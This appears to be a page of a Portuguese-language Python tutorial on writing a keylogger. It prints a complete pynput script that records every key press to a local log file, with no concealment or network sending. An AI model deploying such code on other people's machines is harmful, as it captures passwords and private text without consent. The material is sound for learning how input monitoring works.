Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 48.621 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
keydata = keydata.replace("'", "")
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}
for key in translate_keys:
#key recebe a chave do dicionário translate_keys
#substituir a chave (key) pelo seu valor (translate_keys[key])
keydata = keydata.replace(key, translate_keys[key])
#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener
#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"
def writeLog(key):
'''
Esta função será responsável por receber a tecla pressionada
via Listener e escrever no arquivo de log
'''
#dicionário com as teclas a serem traduzidas
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}
#converter a tecla pressionada para string
keydata = str(key)
#remover as asplas simples que delimitam os caracteres
keydata = keydata.replace("'", "")
for key in translate_keys:
#key recebe a chave do dicionário translate_keys
#substituir a chave (key) pelo seu valor (translate_keys[key])
keydata = keydata.replace(key, translate_keys[key])
#abrir o arquivo de log no modo append
with open(logFile, "a") as f:
f.write(keydata)
#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
l.join()
Liberte-se: Crie um Servidor Proxy na Nuvem para Acessar Conteúdos Bloqueados
Como criar um clicador de sites com NodeJS
Desenhar com o mouse na tela do desktop
Docalysis: Análise de Documentos com Inteligência Artificial
Arduino com Bluetooth e pySerial
Alimentando Desktopcouch com Zeitgeist
Como isolar seus projetos Python com virtualenv (ambiente virtual)
Varredura de PING Utilizando o Python
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Como implementar Raid (0, 1, 5, 6, 10 e 50)
fusermount3 no Ubuntu 25.10 - mantenha o perfil do AppArmor
[Resolvido] dlopen(): error loading libfuse.so.2 AppImages require FUSE to run.
Criação de diretórios e aplicação de restrições de acesso no Linux
Servidor de DNS BIND Ubuntu server (4)
Como programar um sistema de controle para distribuições linux em c? (2)
Compartilhar ZEBRA ZD220 na rede (2)
Como programar um software que seja utilizado para coleta de dados em ... (1)









